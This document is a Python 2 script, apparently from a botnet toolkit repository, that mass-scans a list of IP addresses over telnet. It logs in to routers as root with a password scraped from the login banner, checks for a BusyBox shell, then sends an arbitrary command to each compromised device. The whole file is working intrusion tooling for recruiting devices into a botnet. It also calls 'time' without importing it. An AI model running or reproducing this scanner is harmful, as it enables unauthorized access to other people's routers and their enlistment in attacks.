Path: blob/master/Botnets/Exploits/ROUTER SCAN/router_scan.py
5038 views
#!/usr/bin/python1#Router Scanner23import threading4import sys, os, re, socket5from time import sleep6from Queue import *7from sys import stdout89if len(sys.argv) < 3:10print "Usage: python "+sys.argv[0]+" <list> <threads>"11sys.exit()1213ips = open(sys.argv[1], "r").readlines()14threads = int(sys.argv[2])15queue = Queue()16queue_count = 017cmd = ""1819class russian(threading.Thread):20def __init__ (self, ip):21threading.Thread.__init__(self)22self.ip = str(ip).rstrip('\n')23def run(self):24try:25tn = socket.socket()26tn.settimeout(8)27tn.connect((self.ip,23))28sleep(0.2)29check = tn.recv(2048)30checks = re.findall(r'\:\w+', check)31check2 = "".join(checks)32username = "root"33password = check2.replace(":", "")34except Exception:35tn.close()36try:37if "ogin" in check:38tn.send(username + "\n")39sleep(0.09)40elif "assword" in check:41tn.send(password + "\n")42sleep(0.09)43except Exception:44tn.close()45try:46hoho = ''47hoho += readUntil(tn, "assword:")48if "assword" in hoho:49tn.send(password + "\n")50sleep(0.8)51else:52pass53except Exception:54tn.close()55try:56prompt = ''57prompt += tn.recv(40960)58if "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:59try:60success = False61timeout = 862data = ["BusyBox", "Built-in"]63tn.send("enable" + "\n")64sleep(0.01)65tn.send("sh" + "\n")66sleep(0.01)67tn.send("shell" + "\n")68sleep(0.01)69tn.send("help" + "\n")70sleep(0.01)71tn.send("busybox" + "\r\n")72buf = '' # NO FALSE POSSITIVES OVA HERE73start_time = time.time()74while time.time() - start_time < timeout:75buf += tn.recv(40960)76sleep(0.01)77for info in data:78if info in buf and "unrecognized" not in buf:79success = True80except:81pass82else:83tn.close()84if success == True:85try:86tn.send(cmd + "\r\n")87print "Command Sent!"88sleep(15)89tn.close()90except:91tn.close()92tn.close()93except Exception:94tn.close()9596def readUntil(tn, string, timeout=8):97buf = ''98start_time = time.time()99while time.time() - start_time < timeout:100buf += tn.recv(1024)101sleep(0.01)102if string in buf: return buf103raise Exception('TIMEOUT!')104105def worker():106try:107while True:108try:109ip = queue.get()110thread = russian(ip)111thread.start()112queue.task_done()113sleep(0.2)114except:115pass116except:117pass118119for ip in ips:120queue_count += 1121stdout.write("\r[%d] Added to queue" % queue_count)122stdout.flush()123queue.put(ip)124print "\n"125126for l in xrange(threads):127try:128t = threading.Thread(target=worker)129t.start()130sleep(0.01)131except:132pass133134